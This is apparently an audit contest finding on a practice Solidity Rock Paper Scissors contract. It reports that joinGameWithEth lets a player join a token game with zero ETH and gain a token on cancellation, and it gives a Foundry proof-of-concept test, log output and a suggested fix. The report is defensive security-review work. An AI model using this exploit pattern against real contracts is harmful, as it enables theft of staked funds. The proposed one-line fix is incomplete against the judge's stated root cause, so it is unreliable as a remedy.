Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

joinGameWithEth can attend the game.bet = 0 when value = 0 ether to win token without risk without check msg.value ==0

Summary

joinGameWithEth can attend the game. bet = 0 when value = 0 ether to win token without risk without check msg.value ==0

Vulnerability Details

joinGameWithEth has no check for msg.value == 0 , causing attacker can attend Token bet game with 0 value when call joinGameWithEth. To win Token without risk.

There is no check for msg.value == 0

function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
@> require(msg.value == game.bet, "Bet amount must match creator's bet");
// what will happen if the msg.value== 0
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}

Impact

attacker can attend the game created by createGameWithToken with game.joinGameWithEth{value: 0 ether}(gameId);

Causing the attacker can win Token with no risk.

Proof of Code

PlayerB get the Token when the game is canceled.

function testJoinGameWithToken() public {
console2.log("Player A token: ", token.balanceOf(playerA));
console2.log("Player B token: ", token.balanceOf(playerB));
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
vm.startPrank(playerB);
game.joinGameWithEth{value: 0 ether}(gameId);
vm.stopPrank();
//
(address storedPlayerA, address storedPlayerB,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(gameId);
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerB, playerB);
console2.log("Player A token: ", token.balanceOf(playerA));
console2.log("Player B token: ", token.balanceOf(playerB));
vm.startPrank(playerA);
game.cancelGame(gameId);
vm.stopPrank();
console2.log("Player A token: ", token.balanceOf(playerA));
console2.log("Player B token: ", token.balanceOf(playerB));
}
Log:
Player A token: 10
Player B token: 10
Player A token: 9
Player B token: 10
Player A token: 10
Player B token: 11

Tools Used

manual review

Recommendations

function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
+ require(msg.value != 0);
require(msg.value == game.bet, "Bet amount must match creator's bet");
// what will happen if the msg.value== 0
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Updates

Appeal created

m3dython Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game Staking Inconsistency

joinGameWithEth function lacks a check to verify the game was created with ETH

m3dython Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game Staking Inconsistency

joinGameWithEth function lacks a check to verify the game was created with ETH

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.